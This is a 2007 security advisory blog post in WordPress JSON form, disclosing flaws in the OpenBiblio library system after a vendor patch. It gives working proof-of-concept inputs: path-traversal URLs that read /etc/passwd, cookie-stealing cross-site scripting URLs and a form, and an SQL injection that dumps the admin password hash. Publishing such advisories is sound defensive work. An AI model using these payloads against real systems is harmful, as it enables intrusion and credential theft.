{"id":64,"date":"2007-12-31T18:51:17","date_gmt":"2007-12-31T17:51:17","guid":{"rendered":"https:\/\/blogs.ua.es\/jgaliana\/2007\/12\/31\/openbiblio-052-pre4-and-prior-multiple-vulnerabilities\/"},"modified":"2008-02-08T12:36:33","modified_gmt":"2008-02-08T11:36:33","slug":"openbiblio-052-pre4-and-prior-multiple-vulnerabilities","status":"publish","type":"post","link":"https:\/\/blogs.ua.es\/jgaliana\/2007\/12\/31\/openbiblio-052-pre4-and-prior-multiple-vulnerabilities\/","title":{"rendered":"OpenBiblio 0.5.2-pre4 and prior multiple vulnerabilities"},"content":{"rendered":"<p> &#8211; Security Advisory &#8211;<\/p>\n<p>&#8211; OpenBiblio 0.5.2-pre4 and prior multiple vulnerabilities &#8211;<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p>Product:     OpenBiblio<br \/>\nVersion:    Version 0.5.2 Prerelease 4 and prior is affected<br \/>\nUrl:         http:\/\/obiblio.sourceforge.net\/<br \/>\nAffected by:    Full path disclosure, local file include, phpinfo disclosure, multiple Cross Site Scripting, SQL injection<\/p>\n<p>I. Introduction.<\/p>\n<p>OpenBiblio is an easy to use, automated library system written in PHP containing OPAC, circulation,<br \/>\ncataloging, and staff administration functionality.<br \/>\nOpenBiblio library administration offers an intuitive interface with broad category tabs and sidebar.<\/p>\n<p>II. Description<\/p>\n<p>OpenBiblio suffers multiple bugs.<\/p>\n<p>1) Local File Include vulnerability: its posible to include any arbitrary local file using shared\/help.php file<\/p>\n<p>&#8211; Code &#8211;<br \/>\nif (isset($_GET[&#8220;page&#8221;])) {<br \/>\n$page = $_GET[&#8220;page&#8221;];<br \/>\n} else {<br \/>\n$page = &#8220;contents&#8221;;<br \/>\n}<br \/>\ninclude(&#8220;..\/locale\/&#8221;.OBIB_LOCALE.&#8221;\/help\/&#8221;.$page.&#8221;.php&#8221;);<\/p>\n<p>&#8211; PoC &#8211;<br \/>\nhttp:\/\/site\/openbiblio\/shared\/help.php?page=..\/..\/..\/..\/..\/..\/etc\/passwd%00<\/p>\n<p>2) Local File Include (2) (only works with register_globals On and for non php files magic_quotes_gpc must be Off)<\/p>\n<p>&#8211; Code &#8211;<br \/>\n&lt;?php include(&#8220;..\/navbars\/&#8221;.$tab.&#8221;.php&#8221;);?&gt;<\/p>\n<p>&#8211; PoC &#8211;<br \/>\nhttp:\/\/site\/openbiblio\/shared\/header.php?tab=..\/..\/..\/etc\/passwd%00<\/p>\n<p>3) This link will show phpinfo<\/p>\n<p>http:\/\/site\/openbiblio\/phpinfo.php<\/p>\n<p>Remove it!<\/p>\n<p>4) Path Disclosure<\/p>\n<p>Some samples:<\/p>\n<p>http:\/\/site\/openbiblio\/shared\/footer.php<br \/>\nFatal error: Call to a member function on a non-object in \/httpdocs\/openbiblio\/shared\/footer.php on line 18<\/p>\n<p>http:\/\/site\/openbiblio\/circ\/mbr_fields.php<br \/>\nFatal error: Call to a member function on a non-object in \/httpdocs\/openbiblio\/circ\/mbr_fields.php on line 14<\/p>\n<p>http:\/\/site\/openbiblio\/admin\/custom_marc_form_fields.php<br \/>\nFatal error: Cannot instantiate non-existent class: dmquery in \/httpdocs\/openbiblio\/admin\/custom_marc_form_fields.php on line 14<\/p>\n<p>Please, turn display_errors to Off in php.ini<\/p>\n<p>6) Multiple Cross Site Scripting, an attacker can perform an XSS attack that allows him to access the targeted user cookies<\/p>\n<p>Some samples:<\/p>\n<p>http:\/\/site\/openbiblio\/admin\/staff_del_confirm.php?UID=1&#038;LAST=[XSS]&#038;FIRST=[XSS]<\/p>\n<p>http:\/\/site\/openbiblio\/admin\/theme_del_confirm.php?themeid=6&#038;name=[XSS]<\/p>\n<p>In \/admin\/theme_preview.php an attacker can inject an XSS in the var themeName with method POST.<br \/>\nhere is a poc:<\/p>\n<p>&lt;form action=&#8221;http:\/\/site\/openbiblio\/admin\/theme_preview.php&#8221; method=&#8221;post&#8221;&gt;<br \/>\n&lt;input type=&#8221;text&#8221; name=&#8221;themeName&#8221; size=&#8221;40&#8243; value=&#8221;&lt;script&gt;alert(document.cookie);&lt;\/script&gt;&#8221;&gt;&lt;br&gt;&lt;br&gt;<br \/>\n&lt;input type=&#8221;submit&#8221; value=&#8221;doit&#8221;&gt;<br \/>\n&lt;\/form&gt;<\/p>\n<p>try with: &lt;script&gt;alert(document.cookie);&lt;\/script&gt;<\/p>\n<p>6) SQL injection (session with report rol is needed to exploit this bug)<\/p>\n<p>Any user with report rol can access any field of the database, including admin md5 hash.<\/p>\n<p>http:\/\/site\/openbiblio\/reports\/report_criteria.php?reset=Y&#038;rptid=balanceDueList<\/p>\n<p>&amp;title=Balance+Due+Member+List&amp;sql=%0A++++[SQL]%0A++<\/p>\n<p>with this an attacker can get the md5 admin password:<\/p>\n<p>http:\/\/site\/openbiblio\/reports\/report_criteria.php?reset=Y&#038;rptid=balanceDueList&#038;title=Balance+Due<\/p>\n<p>+Member+List&amp;sql=%0A++++select+username,pwd+from+staff%20where+userid=1%0A++<\/p>\n<p>then click &#8220;run report&#8221; and view the results, besides, you can choose between html and csv format ;)<\/p>\n<p>staff.username  staff.pwd<br \/>\nadmin   21232f297a57a5a743894a0e4a801fc3<\/p>\n<p>III. Timeline<\/p>\n<p>20\/08\/2006 &#8211; Bugs discovered<br \/>\n25\/08\/2006 &#8211; Vendor Contacted<br \/>\n30\/08\/2006 &#8211; Release 0.5.2 (parcial patch)<br \/>\n21\/02\/2007 &#8211; Release 0.6.0 (full patch)<br \/>\n28\/12\/2007 &#8211; Advisory Disclosure<\/p>\n<p>IV. Solution<\/p>\n<p>Upgrade to 0.6.0 from http:\/\/obiblio.sourceforge.net\/<br \/>\nGood work!<\/p>\n<p>V. Credits<\/p>\n<p>Juan Galiana &lt;jgaliana gmail com&gt;<\/p>\n<p>Regards<\/p>\n<p><strong>Podeis encontrar el bolet\u00edn de seguridad archivado en este <a href=\"http:\/\/www.securityfocus.com\/bid\/27053\">link<\/a>.<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8211; Security Advisory &#8211; &#8211; OpenBiblio 0.5.2-pre4 and prior multiple vulnerabilities &#8211; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- Product: OpenBiblio Version: Version 0.5.2 Prerelease 4 and prior is affected Url: http:\/\/obiblio.sourceforge.net\/ Affected by: Full path disclosure, local file include, phpinfo disclosure, multiple Cross Site Scripting, SQL injection I. Introduction. OpenBiblio is an easy to use, automated library system written in [&hellip;]<\/p>\n","protected":false},"author":139,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[609,488],"tags":[8035,843,841,8034],"class_list":["post-64","post","type-post","status-publish","format-standard","hentry","category-boletin-de-seguridad","category-seguridad","tag-boletin-de-seguridad","tag-openbiblio","tag-php","tag-seguridad"],"_links":{"self":[{"href":"https:\/\/blogs.ua.es\/jgaliana\/wp-json\/wp\/v2\/posts\/64","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blogs.ua.es\/jgaliana\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blogs.ua.es\/jgaliana\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blogs.ua.es\/jgaliana\/wp-json\/wp\/v2\/users\/139"}],"replies":[{"embeddable":true,"href":"https:\/\/blogs.ua.es\/jgaliana\/wp-json\/wp\/v2\/comments?post=64"}],"version-history":[{"count":0,"href":"https:\/\/blogs.ua.es\/jgaliana\/wp-json\/wp\/v2\/posts\/64\/revisions"}],"wp:attachment":[{"href":"https:\/\/blogs.ua.es\/jgaliana\/wp-json\/wp\/v2\/media?parent=64"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blogs.ua.es\/jgaliana\/wp-json\/wp\/v2\/categories?post=64"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blogs.ua.es\/jgaliana\/wp-json\/wp\/v2\/tags?post=64"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}